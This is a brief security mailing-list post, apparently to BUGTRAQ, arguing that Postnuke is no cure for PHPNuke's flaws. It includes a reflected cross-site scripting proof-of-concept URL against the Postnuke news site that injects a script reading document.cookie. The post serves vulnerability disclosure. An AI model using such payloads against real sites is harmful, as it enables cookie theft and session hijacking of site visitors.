I got an awful lot of email from BUGTRAQers saying that the solution for PHPNUKE's problems is to use Postnuke. This is obviously not a panacea. http://news.postnuke.com/modules.php?op=modload&name=News&file=index&catid=&topic=><script>alert(document.cookie);</script> It's obviously apparent that CMS has a long way to go. Godspeed to those deploying it in production environments. May the force be with you. -- Mark Grimes <mark@stateful.net> Stateful Labs